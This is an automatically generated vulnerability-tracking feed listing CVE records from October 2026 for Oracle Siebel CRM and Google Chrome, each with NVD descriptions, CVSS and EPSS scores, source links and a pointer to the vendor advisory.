Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: UIF Open UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101463).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101463&date=2026-10-25).
Sources:
NVD CVE-2026-101463: https://nvd.nist.gov/vuln/detail/CVE-2026-101463
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101463&date=2026-10-25
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: UIF Open UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-101461
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101461).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101461&date=2026-10-25).
Sources:
NVD CVE-2026-101461: https://nvd.nist.gov/vuln/detail/CVE-2026-101461
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101461&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-101460
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101460).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101460&date=2026-10-25).
Sources:
NVD CVE-2026-101460: https://nvd.nist.gov/vuln/detail/CVE-2026-101460
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101460&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113021
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113021).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113021&date=2026-10-25).
Sources:
NVD CVE-2026-113021: https://nvd.nist.gov/vuln/detail/CVE-2026-113021
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113021&date=2026-10-25
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113024
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113024).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113024&date=2026-10-25).
Sources:
NVD CVE-2026-113024: https://nvd.nist.gov/vuln/detail/CVE-2026-113024
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113024&date=2026-10-25
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113025
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113025).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113025&date=2026-10-25).
Sources:
NVD CVE-2026-113025: https://nvd.nist.gov/vuln/detail/CVE-2026-113025
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113025&date=2026-10-25
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in WebFonts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113027
Memory corruption in WebFonts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in WebFonts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113027).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113027&date=2026-10-25).
Sources:
NVD CVE-2026-113027: https://nvd.nist.gov/vuln/detail/CVE-2026-113027
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113027&date=2026-10-25
Memory corruption in WebFonts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113028
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113028).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113028&date=2026-10-25).
Sources:
NVD CVE-2026-113028: https://nvd.nist.gov/vuln/detail/CVE-2026-113028
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113028&date=2026-10-25
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113012
Improper input validation in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Improper input validation in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113012).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113012&date=2026-10-25).
Sources:
NVD CVE-2026-113012: https://nvd.nist.gov/vuln/detail/CVE-2026-113012
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113012&date=2026-10-25
Improper input validation in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113029
Improper access control in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Improper access control in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113029).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113029&date=2026-10-25).
Sources:
NVD CVE-2026-113029: https://nvd.nist.gov/vuln/detail/CVE-2026-113029
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113029&date=2026-10-25
Improper access control in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112993
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112993).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112993&date=2026-10-25).
Sources:
NVD CVE-2026-112993: https://nvd.nist.gov/vuln/detail/CVE-2026-112993
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112993&date=2026-10-25
Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-112996
Memory corruption in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112996).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112996&date=2026-10-25).
Sources:
NVD CVE-2026-112996: https://nvd.nist.gov/vuln/detail/CVE-2026-112996
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112996&date=2026-10-25
Memory corruption in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113013
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113013).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113013&date=2026-10-25).
Sources:
NVD CVE-2026-113013: https://nvd.nist.gov/vuln/detail/CVE-2026-113013
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113013&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113008
Memory corruption in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113008).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113008&date=2026-10-25).
Sources:
NVD CVE-2026-113008: https://nvd.nist.gov/vuln/detail/CVE-2026-113008
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113008&date=2026-10-25
Memory corruption in Transactions Platform in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113015
Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113015).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113015&date=2026-10-25).
Sources:
NVD CVE-2026-113015: https://nvd.nist.gov/vuln/detail/CVE-2026-113015
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113015&date=2026-10-25
Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113016
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113016).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113016&date=2026-10-25).
Sources:
NVD CVE-2026-113016: https://nvd.nist.gov/vuln/detail/CVE-2026-113016
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113016&date=2026-10-25
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113017
Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113017).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113017&date=2026-10-25).
Sources:
NVD CVE-2026-113017: https://nvd.nist.gov/vuln/detail/CVE-2026-113017
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113017&date=2026-10-25
Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113011
Use after free in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Use after free in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113011).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113011&date=2026-10-25).
Sources:
NVD CVE-2026-113011: https://nvd.nist.gov/vuln/detail/CVE-2026-113011
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113011&date=2026-10-25
Use after free in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
